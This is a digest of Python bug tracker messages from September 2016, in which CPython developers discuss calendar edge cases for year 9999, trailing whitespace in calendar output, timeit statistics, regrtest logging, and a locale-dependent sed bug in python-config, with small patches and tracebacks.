components: +Library (Lib) -Windows
nosy: +rhettinger, serhiy.storchaka -paul.moore, steve.dower, tim.golden, zach.ware
versions: +Python 2.7, Python 3.5, Python 3.6, Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:02:14 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 08:02:14 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474617734.06.0.547803077836.issue28253@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

calendar internally relies on datetime and uses datetime.date. datetime.date can't represent date more than 9999.12.31 so some logic is broken for it(normally the week list should be of length 7, date outside the month will be (0, x) pair but this is not the case for 9999.12). This won't affect prmonth since it doesn't do center formatting. We can change to that behaviour to fix this. calendar_pryear_9999 tires to fix this.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:02:44 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 08:02:44 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474617764.44.0.792617138054.issue28253@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44789/calendar_pryear_9999.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:09:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 08:09:40 +0000
Subject: [issue19569] Use __attribute__((deprecated)) to warn usage of
 deprecated functions and macros
In-Reply-To: <1384348276.8.0.185765824651.issue19569@psf.upfronthosting.co.za>
Message-ID: <1474618180.66.0.0266918055484.issue19569@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ping myself!

I just cited this GCC attribute in a recent discussion on deprecating macros in the C API:
https://mail.python.org/pipermail/python-dev/2016-September/146537.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19569>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:10:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 08:10:31 +0000
Subject: [issue28223] test_tools fails with timeout on AMD64 Snow Leop 3.x
 buildbot
In-Reply-To: <1474441388.78.0.411592043263.issue28223@psf.upfronthosting.co.za>
Message-ID: <1474618231.86.0.286329732499.issue28223@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Ping!

----------
components: +Macintosh
nosy: +ned.deily, ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28223>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:15:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 08:15:20 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474618520.69.0.0562282143724.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Html calendar formats the last week differently for years 9982 and 9999.

Year 9982:
<tr><td class="mon">27</td><td class="tue">28</td><td class="wed">29</td><td class="thu">30</td><td class="fri">31</td><td class="noday">&nbsp;</td><td class="noday">&nbsp;</td></tr>

Year 9999:
<tr><td class="mon">27</td><td class="tue">28</td><td class="wed">29</td><td class="thu">30</td><td class="fri">31</td></tr>

I think this issue should be fixed on lower level than text calendar formatter.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:21:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 08:21:40 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474618900.19.0.83615071376.issue28240@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Marc-Andre: "Consensus then was to use the minimum as basis for benchmarking: (...) There are arguments both pro and con using min or avg values."

To be honest, I expect that most developer are already aware that minimum is evil and so I wouldn't have to convince you. I already posted two links for the rationale. It seems that you are not convinced yet, it seems like I have to prepare a better rationale :-)

Quick rationale: the purpose of displaying the average rather than the minimum in timeit is to make timeit more *reliable*. My goal is that running timeit 5 times would give exactly the same result. With the current design of timeit (only run one process), it's just impossible (for different reasons listed in my first article linked on this issue). But displaying the average is less worse than displaying the minimum to make results more reproductible.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:22:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 08:22:22 +0000
Subject: [issue28099] Drop Mac OS X Tiger support in Python 3.6
In-Reply-To: <1473677501.77.0.96699360086.issue28099@psf.upfronthosting.co.za>
Message-ID: <1474618942.02.0.972192166949.issue28099@psf.upfronthosting.co.za>


STINNER Victor added the comment:

@Ned Deily: Ping?

----------
components: +Macintosh
nosy: +ronaldoussoren

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28099>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:28:55 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 08:28:55 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474619335.13.0.64587290442.issue28253@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Something like this?

diff -r 15f82b64eee0 Lib/calendar.py
--- a/Lib/calendar.py	Thu Sep 22 17:11:53 2016 -0700
+++ b/Lib/calendar.py	Fri Sep 23 16:27:03 2016 +0800
@@ -181,6 +181,9 @@
                 yield (0, date.weekday())
             else:
                 yield (date.day, date.weekday())
+                if year == 9999 and month == 12 and date.day == 31:
+                    yield (0, 6)
+                    yield (0, 7)
 
     def itermonthdays(self, year, month):
         """

Is there a more elegant way? I considered this but didn't quite like it so abandoned it.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:38:29 2016
From: report at bugs.python.org (Masayuki Yamamoto)
Date: Fri, 23 Sep 2016 08:38:29 +0000
Subject: [issue27374] Cygwin: Makefile does not install DLL import library
In-Reply-To: <1466695238.23.0.601958974473.issue27374@psf.upfronthosting.co.za>
Message-ID: <1474619909.02.0.746370963671.issue27374@psf.upfronthosting.co.za>


Masayuki Yamamoto added the comment:

I don't know why Cygwin packaging script (cygport) doesn't copy direct libpythonX.Ym.dll.a to /usr/lib.  Hence I wrote the patch that doesn't conflict with cygport script.

In current makefile rule for Cygwin, Install $(LDLIBRARY) into $(LIBPL).  Therefore I prefer symlink from $(LIBPL) than copying direct library file to $(LIBDIR).
What do you think of makefile rule addition that is same effect (symlink from LIBPL) as cygport script?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27374>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:47:46 2016
From: report at bugs.python.org (py.user)
Date: Fri, 23 Sep 2016 08:47:46 +0000
Subject: [issue28234] In xml.etree.ElementTree docs there are many absent
 Element class links
In-Reply-To: <1474453668.8.0.0192177985612.issue28234@psf.upfronthosting.co.za>
Message-ID: <1474620466.85.0.318728015717.issue28234@psf.upfronthosting.co.za>


py.user added the comment:

Added a reply to the patch about SubElement(). (Realy email notification doesn't work in review. I left a message while publication, and it didn't come.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28234>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:51:07 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 08:51:07 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
Message-ID: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

Currently TextCalendar.prweek/month/year outputs an extra whitespace which makes the output weird:

>>> calendar.TextCalendar().prweek([(1,1),(2,2),(3,3),(4,4),(5,5),(6,6),(7,7)], 2)
 1  2  3  4  5  6  7 >>> calendar.TextCalendar().prmonth(2016,9)
   September 2016
Mo Tu We Th Fr Sa Su
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30
 >>>

----------
components: Library (Lib)
files: calendar_whitespace.patch
keywords: patch
messages: 277256
nosy: serhiy.storchaka, xiang.zhang
priority: normal
severity: normal
stage: patch review
status: open
title: TextCalendar.prweek/month/year outputs an extra whitespace character
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44790/calendar_whitespace.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 04:51:31 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 08:51:31 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474620691.22.0.569692204787.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is not just not elegant, but it doesn't work if firstweekday is not 0.

The lowest level in the calendar module is itermonthdates(). But the problem is that dates outside supported range can't be represented.

While the output for December of the year 9999 looks badly formatted, calendar doesn't work at all with January of the year 1 if firstweekday is not 0:

>>> import calendar
>>> calendar.setfirstweekday(6)
>>> calendar.prmonth(1, 1)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/serhiy/py/cpython-3.6/Lib/calendar.py", line 318, in prmonth
    print(self.formatmonth(theyear, themonth, w, l), end=' ')
  File "/home/serhiy/py/cpython-3.6/Lib/calendar.py", line 331, in formatmonth
    for week in self.monthdays2calendar(theyear, themonth):
  File "/home/serhiy/py/cpython-3.6/Lib/calendar.py", line 211, in monthdays2calendar
    days = list(self.itermonthdays2(year, month))
  File "/home/serhiy/py/cpython-3.6/Lib/calendar.py", line 179, in itermonthdays2
    for date in self.itermonthdates(year, month):
  File "/home/serhiy/py/cpython-3.6/Lib/calendar.py", line 162, in itermonthdates
    date -= datetime.timedelta(days=days)
OverflowError: date value out of range

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:02:27 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 09:02:27 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474621347.55.0.223717519462.issue28255@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch LGTM. Could you please add tests?

I suppose this is a consequence of porting from Python 2 to Python 3 (maybe with 2to3). Usually "print x," in Python 2 corresponds to "print(x, end=' ')" in Python 3. But if x ends with \n, print with a comma in Python 2 don't add a space, this corresponds to "print(x, end='')". Similar issue was fixed not long ago. Maybe there are other similar issues in the stdlib or scripts.

----------
type: enhancement -> behavior
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:04:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 09:04:53 +0000
Subject: [issue19569] Use __attribute__((deprecated)) to warn usage of
 deprecated functions and macros
In-Reply-To: <1384348276.8.0.185765824651.issue19569@psf.upfronthosting.co.za>
Message-ID: <1474621493.13.0.790258492343.issue19569@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
components: +Build
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue19569>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:11:03 2016
From: report at bugs.python.org (Antoine Pitrou)
Date: Fri, 23 Sep 2016 09:11:03 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474618900.19.0.83615071376.issue28240@psf.upfronthosting.co.za>
Message-ID: <6f955a71-f3d0-5e15-91be-694daa39aa33@free.fr>


Antoine Pitrou added the comment:

Le 23/09/2016 ? 10:21, STINNER Victor a ?crit :
> 
> Quick rationale: the purpose of displaying the average rather than
> the
minimum in timeit is to make timeit more *reliable*. My goal is that
running timeit 5 times would give exactly the same result.

Why would it? System noise can vary from run to run.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:15:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 09:15:30 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474622130.17.0.364385038862.issue28255@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

prweek() in Python 2 adds a final space. Python 3 version looks correct.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:18:31 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 23 Sep 2016 09:18:31 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <20160923091825.4632.11384.6C761A43@psf.io>


Roundup Robot added the comment:

New changeset cbe049647a04 by Victor Stinner in branch '3.5':
Issue #27829: regrtest -W displays stderr if env changed
https://hg.python.org/cpython/rev/cbe049647a04

New changeset 12e3023d19bd by Victor Stinner in branch '3.6':
Merge 3.5 (issue #27829)
https://hg.python.org/cpython/rev/12e3023d19bd

New changeset 8210873bd684 by Victor Stinner in branch 'default':
Merge 3.6 (issue #27829)
https://hg.python.org/cpython/rev/8210873bd684

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:19:48 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 09:19:48 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474622388.72.0.201417123443.issue27829@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I was able to reproduce the missing warning by modifying test_sys.py to modify sys.path and then run:
./python -m test -W test_sys

The -W eats stderr even if the environment changed. I modified regrtest to copy stderr if the test doesn't pass which includes: fail, interrupted, env changed, etc.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:54:55 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 09:54:55 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474624495.51.0.764881257706.issue28255@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> prweek() in Python 2 adds a final space. Python 3 version looks correct.

Really? `print '1',` in my mind will output a newline and no trailing space. And I think we should also add a comma in pryear in py2.

----------
Added file: http://bugs.python.org/file44791/calendar_whitespace_v2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:56:42 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 23 Sep 2016 09:56:42 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474624602.27.0.877006686371.issue27829@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I thought sys.stderr is line buffered and doesn't need flush=True if prints a complete line.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:58:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 09:58:05 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474624685.35.0.0138683011443.issue27829@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I thought sys.stderr is line buffered and doesn't need flush=True if prints a complete line.

I tried random changes since I was unable to reproduce the issue and didn't understand why the the warning was not printed.

I'm not sure that stderr is always line buffered. Is it the case even if stderr is redirected to a pipe?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 05:59:22 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 09:59:22 +0000
Subject: [issue28256] Cleanup Modules/_math.c
Message-ID: <1474624762.76.0.457189926802.issue28256@psf.upfronthosting.co.za>


New submission from STINNER Victor:

On a code coverage report, I noticed that _math.c has a very bad coverage. In fact, we define dead code when the system provides most required math functions.

Attached patch avoids declaring unused functions.

See the coverage at:
http://tiran.bitbucket.org/python-lcov/Modules/index.html

----------
files: math.patch
keywords: patch
messages: 277266
nosy: christian.heimes, haypo, mark.dickinson
priority: normal
severity: normal
status: open
title: Cleanup Modules/_math.c
versions: Python 3.7
Added file: http://bugs.python.org/file44792/math.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28256>
_______________________________________

From report at bugs.python.org  Fri Sep 23 06:02:18 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 10:02:18 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474624938.19.0.933183082917.issue27829@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I tried random changes since I was unable to reproduce the issue and didn't understand why the the warning was not printed.

Ooops, I forgot to say: my flush=True changes may be removed if my latest change fixed the issue (if the warning is now displayed).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 06:14:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 10:14:30 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474625670.52.0.0505154667307.issue27829@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Cool, my change fixed this issue. Examples:

http://buildbot.python.org/all/builders/s390x%20RHEL%203.x/builds/1953/steps/test/logs/stdio
Warning -- threading._dangling was modified by test_logging

http://buildbot.python.org/all/builders/AMD64%20Windows7%20SP1%203.x/builds/8590/steps/test/logs/stdio
Warning -- files was modified by test_distutils3

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 06:15:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 10:15:47 +0000
Subject: [issue28223] test_tools fails with timeout on AMD64 Snow Leop 3.x
 buildbot
In-Reply-To: <1474441388.78.0.411592043263.issue28223@psf.upfronthosting.co.za>
Message-ID: <1474625747.6.0.469393348078.issue28223@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
keywords: +buildbot

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28223>
_______________________________________

From report at bugs.python.org  Fri Sep 23 06:16:25 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 10:16:25 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474625785.88.0.997807584712.issue28255@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
Removed message: http://bugs.python.org/msg277263

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 07:07:24 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 11:07:24 +0000
Subject: [issue28255] TextCalendar.prweek/month/year outputs an extra
 whitespace character
In-Reply-To: <1474620667.82.0.649697112253.issue28255@psf.upfronthosting.co.za>
Message-ID: <1474628844.67.0.661113318588.issue28255@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

A single `print x,` seems to me won't add the trailing space. And I don't understand why in py2 repl even with comma there is still a newline:

>>> print 'a',
a
>>> 

>>> print('a', end='')
a>>>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28255>
_______________________________________

From report at bugs.python.org  Fri Sep 23 07:55:46 2016
From: report at bugs.python.org (Kay Hayen)
Date: Fri, 23 Sep 2016 11:55:46 +0000
Subject: [issue28257] Regression for star argument parameter error messages
Message-ID: <1474631746.14.0.840095421551.issue28257@psf.upfronthosting.co.za>


New submission from Kay Hayen:

Hello,

there is a regression in the beta (alpha 4 was ok) for this kind of code:

print("Complex call with both invalid star list and star arguments:")

try:
    a = 1
    b = 2.0

    functionWithDefaults(1,c = 3,*a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(1,*a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(c = 1, *a,**b)
except TypeError as e:
    print(repr(e))

try:
    a = 1
    b = 2.0

    functionWithDefaults(*a,**b)
except TypeError as e:
    print(repr(e))

This prints with beta1 3.6

Complex call with both invalid star list and star arguments:
TypeError("'int' object is not iterable",)
TypeError("'int' object is not iterable",)
TypeError("'float' object is not iterable",)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)

The later message is what they all probably should be like. This is 3.5 output:

Complex call with both invalid star list and star arguments:
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)
TypeError('functionWithDefaults() argument after ** must be a mapping, not float',)

The function itself doesn't matter obviously, it's never called. Please restore the old behavior, thanks.

Yours,
Kay

----------
messages: 277270
nosy: kayhayen
priority: normal
severity: normal
status: open
title: Regression for star argument parameter error messages
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28257>
_______________________________________

From report at bugs.python.org  Fri Sep 23 08:19:27 2016
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Fri, 23 Sep 2016 12:19:27 +0000
Subject: [issue28240] Enhance the timeit module: display average +- std dev
 instead of minimum
In-Reply-To: <1474466930.94.0.352912034658.issue28240@psf.upfronthosting.co.za>
Message-ID: <1474633167.43.0.812736594849.issue28240@psf.upfronthosting.co.za>


Marc-Andre Lemburg added the comment:

> Marc-Andre: "Consensus then was to use the minimum as basis for benchmarking: (...) There are arguments both pro and con using min or avg values."
> 
> To be honest, I expect that most developer are already aware that minimum is evil and so I wouldn't have to convince you. I already posted two links for the rationale. It seems that you are not convinced yet, it seems like I have to prepare a better rationale :-)

I'm not sure I follow. The first link clearly says that "So for better or worse, the choice of which one is better comes down to what we think the underlying distribution will be like." and it ends with "So personally I use the minimum when I benchmark.".

http://blog.kevmod.com/2016/06/benchmarking-minimum-vs-average/

If we display all available numbers, people who run timeit can then see where things vary and possibly look deeper to find the reason.

As I said and the above articles also underlines: there are cases where min is better and others where avg is better. So in the end, having both numbers available gives you all the relevant information.

I have focused on average in pybench 1.0 and then switched to minimum for pybench 2.0. Using minimum resulted in more reproducible results at least on the computers I ran pybench on, but do note that pybench 2.0 still does print out the average values as well. The latter mostly due to some test runs I found where (probably due to CPU timers not working correctly), the min value sometimes dropped to very low values which did not really make sense compared to the average values.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28240>
_______________________________________

From report at bugs.python.org  Fri Sep 23 08:43:54 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 23 Sep 2016 12:43:54 +0000
Subject: [issue27829] test.regrtest: changed environment variables are not
 logged
In-Reply-To: <1471868275.54.0.211153776881.issue27829@psf.upfronthosting.co.za>
Message-ID: <1474634634.41.0.805908792798.issue27829@psf.upfronthosting.co.za>


STINNER Victor added the comment:

More warnings.

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.x/builds/5058/steps/test/logs/stdio

Warning -- threading._dangling was modified by test_logging
Warning -- files was modified by test_io

http://buildbot.python.org/all/builders/AMD64%20FreeBSD%2010.x%20Shared%203.x/builds/5148/steps/test/logs/stdio

Warning -- threading._dangling was modified by test_logging
Warning -- threading._dangling was modified by test_asyncio
Warning -- files was modified by test_io

http://buildbot.python.org/all/builders/AMD64%20Windows10%203.x/builds/1573/steps/test/logs/stdio

Warning -- files was modified by test_distutils
Warning -- threading._dangling was modified by test_asyncio

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27829>
_______________________________________

From report at bugs.python.org  Fri Sep 23 08:47:00 2016
From: report at bugs.python.org (Jan Niklas Hasse)
Date: Fri, 23 Sep 2016 12:47:00 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474634820.74.0.483278580942.issue28180@psf.upfronthosting.co.za>


Jan Niklas Hasse added the comment:

Why not?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 23 08:59:13 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 23 Sep 2016 12:59:13 +0000
Subject: [issue28180] sys.getfilesystemencoding() should default to utf-8
In-Reply-To: <1474024622.65.0.838685461995.issue28180@psf.upfronthosting.co.za>
Message-ID: <1474635553.75.0.829096933261.issue28180@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I want locale free Python which behaves like on C.UTF-8 locale.
(stdio encoding, preferred encoding, weekday in _strptime._strptime,
and more maybe)

But Python 3.6 is feature freeze already >_<;;

----------
nosy: +inada.naoki

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28180>
_______________________________________

From report at bugs.python.org  Fri Sep 23 09:13:29 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 23 Sep 2016 13:13:29 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1474636409.83.0.384355664178.issue28253@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

How about the approach in calendar_prcal_9999_demo.patch? If it's not bad I can add tests then.

----------
Added file: http://bugs.python.org/file44793/calendar_prcal_9999_demo.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Fri Sep 23 09:21:40 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 23 Sep 2016 13:21:40 +0000
Subject: [issue28256] Cleanup Modules/_math.c
In-Reply-To: <1474624762.76.0.457189926802.issue28256@psf.upfronthosting.co.za>
Message-ID: <1474636900.87.0.974484857732.issue28256@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It think you have the #ifdef checks reversed, e.g. #ifdef HAVE_ACOSH instead of #ifndef HAVE_ACOSH.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28256>
_______________________________________

From report at bugs.python.org  Fri Sep 23 09:31:38 2016
From: report at bugs.python.org (Arfrever Frehtes Taifersar Arahesis)
Date: Fri, 23 Sep 2016 13:31:38 +0000
Subject: [issue28258] Broken python-config generated with Estonian locale
Message-ID: <1474637498.59.0.401173871387.issue28258@psf.upfronthosting.co.za>


New submission from Arfrever Frehtes Taifersar Arahesis:

When Estonian locale (e.g. et_EE.UTF-8) is set, then the following line in Makefile.pre.in does not match all required strings:

sed -e 's,\$$(\([A-Za-z0-9_]*\)),\$$\{\1\},g' < Misc/python-config.sh >python-config

In Estonian locale:
[A-Z] does not match: T, U, V, W, X, Y
[a-z] does not match: t, u, v, w, x, y
https://en.wikipedia.org/wiki/Estonian_orthography

Run-time result without fix applied:

$ LC_ALL=C bash python-config --help
python-config: line 45: LDVERSION: command not found
python-config: line 49: VERSION: command not found
python-config: line 51: prefix: command not found
python-config: line 51: VERSION: command not found
Usage: python-config --prefix|--exec-prefix|--includes|--libs|--cflags|--ldflags|--extension-suffix|--help|--abiflags|--configdir

I attach patch (also fixing distclean target).

----------
assignee: twouters
components: Build
files: python-use_C_locale.patch
keywords: patch
messages: 277277
nosy: Arfrever, twouters
priority: normal
severity: normal
status: open
title: Broken python-config generated with Estonian locale
versions: Python 3.5, Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44794/python-use_C_locale.patch

_______________________________________
Python tracker <report at bugs.python.org>
